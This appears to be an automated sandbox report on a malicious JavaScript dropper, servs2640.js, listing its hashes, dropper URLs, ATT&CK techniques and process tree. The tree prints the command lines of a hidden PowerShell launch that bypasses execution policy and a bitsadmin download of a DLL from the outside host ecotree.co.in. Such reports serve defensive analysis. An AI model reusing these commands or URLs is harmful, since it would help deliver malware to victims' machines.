b8686d667af55f779c7a64a334c9486af48998411cef6b6be46bcbd9150e019b

Analysis

max time kernel
38s
max time network
41s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
08/07/2023, 08:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

servs2640.js
Size

46KB
MD5

4c62c6a8e0c9cd145ca0aa98d48a8f49
SHA1

dd59c92ad4e81ba848cd5fa443d184cb40a9d16e
SHA256

b8686d667af55f779c7a64a334c9486af48998411cef6b6be46bcbd9150e019b
SHA512

90e3848554384e17e20f52fe41a8694d178bd1bb42a486c147138b51ec1dd2990bc5ff0deacc225759b9f6ca33f372450f8cba79e716d072674699e90e8f0344
SSDEEP

768:YHKA9SzXkvGj+uVtN6HwzkvZbW/us+1bMUWwMrA0HTwkbbOZhp1Io5Lex:YHOzXkvenN6HwgRK/h+Kj/A0fyZh7Iai

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ecotree.co.in/images/cora.zip

exe.dropper

https://ecotree.co.in/images/files/cora.zip

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1944	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2184	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2184	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 2184	2380	wscript.exe	29
PID 2380 wrote to memory of 2184	2380	wscript.exe	29
PID 2380 wrote to memory of 2184	2380	wscript.exe	29
PID 2184 wrote to memory of 1944	2184	powershell.exe	31
PID 2184 wrote to memory of 1944	2184	powershell.exe	31
PID 2184 wrote to memory of 1944	2184	powershell.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\servs2640.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hidden -File C:\Users\Admin\AppData\Local\Temp\tfxcp3i.ps1
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\bitsadmin.exe
    "C:\Windows\system32\bitsadmin.exe" /transfer MeDoW /download /priority normal https://ecotree.co.in/images/files/cora.zipAudioCapture.dll C:\Users\Admin\AppData\RoamingOfficeStartupAudioCapture.dll
    3⤵
    - Download via BitsAdmin
    PID:1944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\tfxcp3i.ps1

Filesize
1KB

MD5
cb53ceed9347268b653125fc46de2b36

SHA1
14827a9a54d997482101bbc9233433d2b3517fe2

SHA256
efed90d17984c99c4c567d935cc2e8002fedac24fa450b8b14d19493767b674b

SHA512
ff3db23308f7fce372544eeb797c74d7fe0bbc7245ee6ff0cea25ea80f611efcba990904390f340c110ac9e2d1221736800eb80537cd82704fba79e4223a1bba

Download Submit
memory/2184-60-0x000000001B330000-0x000000001B612000-memory.dmp

Filesize
2.9MB

Download
memory/2184-61-0x0000000001F10000-0x0000000001F18000-memory.dmp

Filesize
32KB

Download
memory/2184-63-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2184-64-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2184-62-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2184-66-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2184-67-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2184-68-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2184-69-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download